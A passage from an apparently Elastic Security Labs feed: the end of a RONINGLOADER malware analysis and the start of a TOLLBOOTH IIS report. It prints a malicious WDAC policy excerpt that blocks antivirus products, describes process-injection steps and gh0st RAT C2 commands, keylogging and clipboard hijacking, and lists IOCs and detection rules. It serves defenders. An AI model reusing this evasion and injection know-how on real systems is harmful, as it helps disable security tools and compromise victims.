<h4>CiPolicies</h4>
<p>The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path <code>C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image33.png" alt="Write policy to disk" title="Write policy to disk" /></p>
<p>The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:</p>
<ul>
<li>Qihoo 360 Total Security by blocking <code>360rp.exe</code> and <code>360sd.exe</code></li>
<li>Huorong Security by blocking <code>ARPProte.exe</code></li>
<li>All executables signed by Huorong Security (<code>北京火绒网络科技有限公司</code>) via certificate TBS hash <code>A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4</code></li>
</ul>
<p>A critical component is the <code>Enabled:Unsigned System Integrity Policy</code> rule, which allows the policy to be loaded without a valid digital signature.</p>
<pre><code>Truncated...
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Inherit Default Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Unsigned System Integrity Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Advanced Boot Options Menu&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Update Policy No Reboot&lt;/Option&gt;
    &lt;/Rule&gt;
  &lt;/Rules&gt;
  &lt;EKUs /&gt;
  &lt;FileRules&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630&quot; FileName=&quot;*&quot; /&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7AB089C369772F34B39B&quot; FileName=&quot;*&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE7DBA9913BFC227DACD14&quot; FileName=&quot;360rp.exe&quot; InternalName=&quot;360rp.exe&quot; FileDescription=&quot;360杀毒 实时监控&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE763C85C9F42EC8669750&quot; FileName=&quot;360sd.exe&quot; InternalName=&quot;360sd.exe&quot; FileDescription=&quot;360杀毒 主程序&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;FileAttrib ID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; FileName=&quot;ARPProte.exe&quot; MinimumFileVersion=&quot;6.0.0.0&quot; /&gt;
  &lt;/FileRules&gt;
  &lt;Signers&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
      &lt;FileAttribRef RuleID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; /&gt;
    &lt;/Signer&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE77F7B523D1581F518639&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
    &lt;/Signer&gt;
  &lt;/Signers&gt;
...Truncated
</code></pre>
<h3>Stage 3 - goldendays.dll</h3>
<p>In the previous stage, RONINGLOADER creates a new service named <code>MicrosoftSoftware2ShadowCop4yProvider</code> to run the next stage of execution with the following command: <code>regsvr32.exe /S &quot;C:\ProgramData\Roning\goldendays.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image34.png" alt="Create MicrosoftSoftware2ShadowCop4yProvider service" title="Create MicrosoftSoftware2ShadowCop4yProvider service" /></p>
<p>The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.</p>
<p>To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:</p>
<ol>
<li>TrustedInstaller (<code>TrustedInstaller.exe</code>)</li>
<li>MicrosoftEdgeElevationService (<code>elevation_service.exe</code>)</li>
</ol>
<p>The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image18.png" alt="Start both TrustedInstaller and MicrosoftEdgeElevationService services" title="Start both TrustedInstaller and MicrosoftEdgeElevationService services" /></p>
<p>Next, the malware establishes persistence by creating a batch file with a random name within the <code>C:\Windows\</code> directory (e.g., <code>C:\Windows\KPeYvogsPm.bat</code>). The script inside this file runs a continuous loop with the following logic:</p>
<ul>
<li>It checks if the captured PID of the trusted service (e.g., PID <code>4016</code> for <code>TrustedInstaller.exe</code>) is still running</li>
<li>If the service is not running, the script restarts the previously created malicious service (<code>MicrosoftSoftware2ShadowCop4yProvider</code>) to ensure the malware's components remain active</li>
<li>If the service process is running, the script sleeps for 10 seconds before checking again</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image4.png" alt="Batch file content" title="Batch file content" /></p>
<p>Finally, the malware reads the contents of <code>C:\ProgramData\Roning\trustinstaller.bin</code>. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (<code>TrustedInstaller.exe</code> or <code>elevation_service.exe</code>). The injection method is straightforward: it performs a remote virtual allocation with <code>VirtualAllocEx</code>, writes to it with <code>WriteProcessMemory</code>, and then creates a remote thread to execute it with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image21.png" alt="Remote process injection" title="Remote process injection" /></p>
<h3>Stage 3 - trustinstaller.bin</h3>
<p>The third stage, contained within <code>trustinstaller.bin</code>, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image8.png" alt="List of process options to inject the payload into" title="List of process options to inject the payload into" /></p>
<p>When found, it will inject the shellcode into <code>C:\ProgramData\Roning\Enpug.bin</code>, which is the final payload. It will create a section with <code>NtCreateSection</code>, map a view of it in the remote process with <code>NtMapViewOfSection</code>, and write the payload to it. Then it will create a remote thread with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image17.png" alt="Maps section view in the remote process" title="Maps section view in the remote process" /></p>
<h3>Stage 4 - Final Payload</h3>
<p>The <a href="https://www.virustotal.com/gui/file/3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33/detection">final payload</a> has not undergone major changes since <a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">Sophos</a>’s discovery of a DragonBreath campaign in 2023 and <a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">QianXin’s report</a> in mid-2022. It is still a modified version of the open-source <a href="https://github.com/sin5678/gh0st">gh0st</a> RAT.</p>
<p>In the more recent campaigns, a mutex of value <code>Global\DHGGlobalMutex</code> is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named <code>MyUniqueMutexName</code> and immediately destroying it afterward.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image19.png" alt="Mutex value MyUniqueMutexName within dead code" title="Mutex value MyUniqueMutexName within dead code" /></p>
<p>The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image9.png" alt="C2 domain and port XOR decoded" title="C2 domain and port XOR decoded" /></p>
<h4>Victim Beacon Data</h4>
<p>The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through <code>Sleep(&lt;random_amount&gt; * 1000)</code>. Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:</p>
<pre><code class="language-C">struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)
    
    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP
    
    // +0x008
    char hostname[50];               // Computer name or registry &quot;Remark&quot;
    
    // +0x03A
    char windows_version[?];         // OS version info
    
    // +0x0D8
    char cpu_name[64];               // Processor name
    
    // +0x118
    uint32_t entry_rdx;              
    
    // +0x11C
    char time_value[64];             // Implant installed time or registry &quot;Time&quot; value
    
    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)
    
    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows
    
    // +0x184
    char av_processes_found[128];    // Antivirus processes found
    
    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 
    
    // +0x244
    char crypto_wallet_track[64];    // &quot;狐狸系列&quot; (MetaMask) or registry &quot;ZU&quot; (crypto related tracking)
    
    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights
    
    // +0x285
    char data[?];             
    
    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed
    
    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running
    
    // +0x307
    // (padding to 0x308 bytes)
};
</code></pre>
<h4>C2 commands</h4>
<p>Request messages sent from the C2 server to the implant follow the structure:</p>
<pre><code class="language-c">struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};
</code></pre>
<p>The implant decrypts C2 messages through the following formula:</p>
<p><code>RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)</code></p>
<p>Below is a list of available commands that, for the most part, remain the same as 2 years ago:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>0</code></td>
<td align="left"><code>ExitWindowsEx</code> via a supplied <code>EXIT_WINDOWS_FLAGS</code></td>
</tr>
<tr>
<td align="left"><code>1</code></td>
<td align="left">Terminate implant gracefully</td>
</tr>
<tr>
<td align="left"><code>2</code></td>
<td align="left">Set registry key <code>Enable</code> to False to terminate &amp; disable implant persistently</td>
</tr>
<tr>
<td align="left"><code>3</code></td>
<td align="left">Set registry key <code>Remark</code> for custom victim renaming (default value: hostname)</td>
</tr>
<tr>
<td align="left"><code>4</code></td>
<td align="left">Set registry key <code>ZU</code> for MetaMask / crypto-related tagging</td>
</tr>
<tr>
<td align="left"><code>5</code></td>
<td align="left">Clear Windows Event logs (Application, Security, System)</td>
</tr>
<tr>
<td align="left"><code>6</code></td>
<td align="left">Set additional custom tags when client beacons</td>
</tr>
<tr>
<td align="left"><code>7</code></td>
<td align="left">Download and execute file via supplied URL</td>
</tr>
<tr>
<td align="left"><code>9</code></td>
<td align="left"><code>ShellExecute</code> (visible window)</td>
</tr>
<tr>
<td align="left"><code>10</code></td>
<td align="left"><code>ShellExecute</code> (hidden window)</td>
</tr>
<tr>
<td align="left"><code>112</code></td>
<td align="left">Get clipboard data</td>
</tr>
<tr>
<td align="left"><code>113</code></td>
<td align="left">Set clipboard data</td>
</tr>
<tr>
<td align="left"><code>125</code></td>
<td align="left"><code>ShellExecute</code> <code>cmd.exe</code> with command parameters (hidden window)</td>
</tr>
<tr>
<td align="left"><code>126</code></td>
<td align="left">Execute payload by dropping to disk or reflectively load and execute <code>PluginMe</code> export</td>
</tr>
<tr>
<td align="left"><code>128</code></td>
<td align="left">First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key <code>CopyC</code> to update C2 domain and port permanently. Stored encrypted via <code>Base64Encode(XOR(C2_domain_and_port, 0x5))</code>.</td>
</tr>
<tr>
<td align="left"><code>241</code></td>
<td align="left">Check if Telegram is installed and/or running</td>
</tr>
<tr>
<td align="left"><code>243</code></td>
<td align="left">Configure Clipboard Hijacker</td>
</tr>
<tr>
<td align="left"><code>101</code>, <code>127</code>, <code>236</code>, <code>[...]</code></td>
<td align="left">Custom shellcode injection into <code>svchost.exe</code> using WTS session token impersonation, falling back to <code>CREATE_SUSPENDED</code> process injection via <code>CreateRemoteThread</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.</p>
</blockquote>
<h4>System Logger</h4>
<p>In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to <code>%ProgramData%\microsoft.dotnet.common.log</code> and can be enabled or disabled via a registry key at <code>HKEY_CURRENT_USER\offlinekey\open</code> (<code>1</code> to enable, <code>0</code> to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.</p>
<p>The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image3.png" alt="Log rotation and keylogger initialization" title="Log rotation and keylogger initialization" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image38.png" alt="Keyboard event retrieval" title="Keyboard event retrieval" /></p>
<p>The malware then enters a monitoring loop to capture three categories of information.</p>
<ul>
<li>First, it monitors the clipboard using <code>OpenClipboard</code> and <code>GetClipboardData</code>, logging any changes to text content with the prefix <code>[剪切板:]</code>.</li>
<li>Second, it tracks window focus changes via <code>GetForegroundWindow</code>, logging the active window title and timestamp with the prefixes <code>[标题:]</code> and <code>[时间:]</code>, respectively, whenever the user switches applications.</li>
<li>Third, it retrieves buffered keyboard events from the <code>DirectInput8</code> device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix <code>[内容:]</code>.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image36.png" alt="Example captured content in microsoft.dotnet.common.log" title="Example captured content in microsoft.dotnet.common.log" /></p>
<h4>Clipboard Hijacker</h4>
<p>The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under <code>HKEY_CURRENT_USER\offlinekey</code> with keys <code>clipboard</code> (enable/disable feature), <code>charac</code> (search string), <code>characLen</code> (search length), and <code>newcharac</code> (replacement string).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image16.png" alt="Clipboard hijacker setup through C2 command" title="Clipboard hijacker setup through C2 command" /></p>
<p>It registers a window class named <code>ClipboardListener_Class_Toggle</code> and creates a hidden window titled <code>ClipboardMonitor</code> to receive clipboard change notifications. The window procedure handles <code>WM_CLIPBOARDUPDATE</code> (<code>0x31D</code>) messages by verifying clipboard sequence numbers with <code>GetClipboardSequenceNumber</code> to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via <code>EmptyClipboard</code> and <code>SetClipboardData</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image30.png" alt="ClipboardMonitor setup, responsible for the actual clipboard swap" title="ClipboardMonitor setup, responsible for the actual clipboard swap" /></p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1569/002/">System Services: Service Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/004/">Impair Defenses: Disable or Modify System Firewall</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553/006/">Subvert Trust Controls: Code Signing Policy Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1095/">Non-Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_suspended_process_code_injection.toml">Potential Suspended Process Code Injection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_memory_write_to_trusted_target_process.toml">Remote Memory Write to Trusted Target Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_process_memory_write_by_low_reputation_module.toml">Remote Process Memory Write by Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_process_memory_write_to_a_non_child_process.toml">Process Memory Write to a Non Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_uac_bypass_attempt_via_wow64_logger_dll_side_loading.toml">UAC Bypass Attempt via WOW64 Logger DLL Side-Loading</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_network_connect_api_from_unbacked_memory.toml">Network Connect API from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RoningLoader.yar">Windows.Trojan.RoningLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DragonBreath.yar">Windows.Trojan.DragonBreath</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>klklznuah.msi</code></td>
<td align="left">Initial MSI installer</td>
</tr>
<tr>
<td align="left"><code>82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.exe</code></td>
<td align="left">Malicious installer unpacked from initial installer</td>
</tr>
<tr>
<td align="left"><code>c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.dll</code></td>
<td align="left">Stage 1 - loader for stage 2</td>
</tr>
<tr>
<td align="left"><code>2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ollama.sys</code></td>
<td align="left">Stage 2 - driver for process termination</td>
</tr>
<tr>
<td align="left"><code>1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>tp.png</code></td>
<td align="left">Stage 2 - encrypted core payload</td>
</tr>
<tr>
<td align="left"><code>395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.bat</code></td>
<td align="left">Stage 2 - UAC bypass script</td>
</tr>
<tr>
<td align="left"><code>1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>fhq.bat</code></td>
<td align="left">Stage 2 - script to block networking for AV processes</td>
</tr>
<tr>
<td align="left"><code>4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.dll</code></td>
<td align="left">Stage 2 - AV processes termination</td>
</tr>
<tr>
<td align="left"><code>96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>{31351756-3F24-4963-8380-4E7602335AAE}.cip</code></td>
<td align="left">Stage 2 - WDAC policy</td>
</tr>
<tr>
<td align="left"><code>33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>goldendays.dll</code></td>
<td align="left">Stage 3 - entry point</td>
</tr>
<tr>
<td align="left"><code>fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>trustinstaller.bin</code></td>
<td align="left">Stage 3 - loader for <code>Enpug.bin</code></td>
</tr>
<tr>
<td align="left"><code>fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Enpug.bin</code></td>
<td align="left">Stage 3 - loader for final payload</td>
</tr>
<tr>
<td align="left"><code>3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6uf9i.exe</code></td>
<td align="left">Stage 4 - final payload</td>
</tr>
<tr>
<td align="left"><code>qaqkongtiao[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Stage 4 - final payload C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://nsis.sourceforge.io/Main_Page">https://nsis.sourceforge.io/Main_Page</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service</a></li>
<li><a href="https://github.com/Jemmy1228/HookSigntool">https://github.com/Jemmy1228/HookSigntool</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">https://hijacklibs.net/entries/microsoft/built-in/wow64log.html</a></li>
<li><a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function</a></li>
<li><a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html</a></li>
<li><a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43</a></li>
<li><a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/</a></li>
<li><a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/</a></li>
<li><a href="https://github.com/sin5678/gh0st">https://github.com/sin5678/gh0st</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/roningloader/roningloader.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/pt/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
